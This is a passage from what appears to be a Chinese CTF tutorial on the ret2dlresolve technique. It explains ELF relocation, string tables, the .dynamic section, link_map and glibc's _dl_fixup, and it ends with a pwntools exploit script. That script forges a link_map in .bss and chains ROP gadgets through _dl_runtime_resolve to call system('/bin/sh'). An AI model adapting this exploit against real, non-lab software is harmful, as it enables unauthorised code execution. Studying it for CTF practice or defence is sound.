对于可执行文件或共享库,r_offset 表示需要修改的位置在内存中的位置(用于动态链接)。
对于可重定位文件 ,r_offset 表示需要修改的位置相对于段起始位置的偏移(用于静态链接)。
r_info:低 8 位表示符号的重定位类型,重定位类型指定了进行何种类型的修正,例如绝对重定位、PC 相对重定位等。高 24 位表示该符号在符号表 中的索引,用于解析重定位所引用的符号。
.strtab
ELF 文件中用到了很多字符串,比如段名、变量名等。因为字符串的长度往往是不定的,所以用固定的结构来表示它比较困难。一种很常见的做法是把字符串集中起来存放到一个表,然后使用字符串在表中的偏移来引用字符串。
通过这种方法,在ELF文件中引用字符串只须给出一个数字下标即可,不用考虑字符串长度的问题。一般字符串表在ELF文件中也以段的形式保存,常见的段名为“.strtab”或“.shstrtab”。这两个字符串表分别为字符串表(String Table)和段表字符串表(Section Header String Table)。顾名思义,字符串表用来保存普通的字符串,比如符号的名字;段表字符串表用来保存段表中用到的字符串,最常见的就是段名(sh_name )。
注意,在字符串表中的每个字符串的开头 和结尾 都有一个 \x00 填充。例如: fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00read\x00stdout\x00setbuf\x00__libc_start_main\x00system\x00'
.dynamic
动态链接 ELF 中最重要的结构是 .dynamic 段,这个段里面保存了动态链接器所需要的基本信息,比如依赖于哪些共享对象、动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的地址等。.dynamic 段是由Elf*_Dyn 构成的结构体数组。
typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
Elf32_Dyn 结构由一个类型值加上一个附加的数值或指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。我们这里列举几个比较常见的类型值(这些值都是定义在 elf.h 里面的宏),
DT_SYMTAB:指定了符号表的地址,d_ptr 表示 .dynsym 的地址。
DT_STRTAB:指定了字符串表的地址,d_ptr 表示 .synstr 的地址。
DT_STRSZ:指定了字符串表的大小,d_val 表示大小。
DT_HASH:指定了符号哈希表的地址,用于加快符号查找的速度,d_ptr 表示 .hash 的地址。
DT_SONAME:指定了共享库的名称。
DT_RPATH:指定了库搜索路径(已废弃,不推荐使用)。
DT_INIT:指定了初始化函数的地址,动态链接器在加载可执行文件或共享库时会调用该函数。
DT_FINI:指定了终止函数的地址,动态链接器在程序结束时会调用该函数。
DT_NEEDED:指定了需要的共享库的名称。
DT_REL/DT_RELA:指定了重定位表的地址。
link_map_x86
struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next , *l_prev ; ... ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
link_map 是存储目标函数查询结果的一个结构体,我们主要关心 l_addr 和 l_info 两个成员即可。
l_addr:目标函数所在 lib 的基址。
l_info:Dyn 结构体指针,指向各种结构对应的 Dyn 。
l_info[DT_STRTAB]:即 l_info 数组第 5 项,指向 .dynstr 对应的 Dyn 。
l_info[DT_SYMTAB]:即 l_info 数组第 6 项,指向 Sym 对应的 Dyn 。
l_info[DT_JMPREL]:即 l_info 数组第 23 项,指向 Rel 对应的 Dyn 。
struct link_map { Elf32_Addr l_addr; char *l_name; Elf32_Dyn *l_ld; struct link_map *l_next ; struct link_map *l_prev ; struct link_map *l_real ; Lmid_t l_ns; struct libname_list *l_libname ; Elf32_Dyn *l_info[76 ]; const Elf32_Phdr *l_phdr; Elf32_Addr l_entry; Elf32_Half l_phnum; ... ... }
dynamic 中的地址对应着 link_map 中l_info 相应的指针,可从link_map 取到dynamic 结构中.rel.plt .dynsym .dynstr对应的指针,为后来程序的执行提供各个节的基地址
_dl_runtime_resolve
typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn; typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym; typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; } Elf64_Rel; typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
_dl_fixup(truct link_map *l, ElfW(Word) reloc_arg) { # define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr) const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); #define reloc_offset reloc_arg * sizeof (PLTREL) # define PLTREL ElfW(Rel) const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; void *const rel_addr = (void *) (l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value(l, reloc, value); if (sym != NULL && __builtin_expect(ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt(l, result, reloc, rel_addr, value); }
p = start() bss_addr = elf.bss() new_stack = bss_addr + 0x200 read_plt = elf.plt['read' ] plt0 = 0x401020 pop_rdi_ret = 0x40115e pop_rsi_ret = 0x401160 resolve = 0x401026 bss = 0x404080 fake_link_map_addr = bss + 0x400 binsh = fake_link_map_addr + 0x50 offset = libc.sym['system' ] - libc.sym['read' ] fake_link_map = p64(offset & 0xffffffffffffffff ) fake_link_map = fake_link_map.ljust(0x10 , b'\x00' ) + p64(0 ) + p64(elf.got['read' ] - 0x8 ) fake_link_map = fake_link_map.ljust(0x20 , b'\x00' ) + p64((bss - offset) & 0xffffffffffffffff ) + p32(7 ) + p32(0 ) fake_link_map = fake_link_map.ljust(0x40 , b'\x00' ) + p64(0 ) + p64(fake_link_map_addr + 0x20 ) fake_link_map = fake_link_map.ljust(0x50 , b'\x00' ) + b'/bin/sh\x00' fake_link_map = fake_link_map.ljust(0x68 , b'\x00' ) + p64(bss) fake_link_map = fake_link_map.ljust(0x70 , b'\x00' ) + p64(fake_link_map_addr + 0x10 ) fake_link_map = fake_link_map.ljust(0xf8 , b'\x00' ) + p64(fake_link_map_addr + 0x40 ) payload = b'a' *0x78 payload += p64(pop_rdi_ret) payload += p64(0 ) payload += p64(pop_rsi_ret) payload += p64(fake_link_map_addr) payload += p64(read_plt) payload += p64(pop_rdi_ret) payload += p64(binsh) payload += p64(resolve) payload += p64(fake_link_map_addr) payload += p64(0 ) p.send(payload.ljust(0x100 , b'\x00' )) p.send(fake_link_map.ljust(0x100 , b'\x00' )) p.interactive()